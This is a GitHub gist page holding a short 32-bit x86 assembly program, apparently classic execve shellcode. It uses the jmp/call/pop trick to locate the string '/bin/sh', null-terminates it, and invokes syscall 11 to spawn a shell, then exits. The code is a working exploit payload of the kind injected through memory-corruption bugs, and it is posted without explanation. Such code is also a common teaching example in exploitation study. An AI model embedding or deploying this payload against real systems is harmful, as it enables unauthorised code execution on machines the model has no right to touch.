Skip to content

Instantly share code, notes, and snippets.

@RdlP
Created October 19, 2016 20:17
Show Gist options
  • Save RdlP/3d50ec623c130e90e5c6145d5d162457 to your computer and use it in GitHub Desktop.
Save RdlP/3d50ec623c130e90e5c6145d5d162457 to your computer and use it in GitHub Desktop.
.code32
.section .text
.globl _start
_start:
jmp truco
inicio:
pop %esi
xorl %eax, %eax
movb %al, 0x07(%esi)
movb $0xb, %al
movl %esi, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
int $0x80
movb $0x01, %al
int $0x80
truco:
call inicio
.string "/bin/sh"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment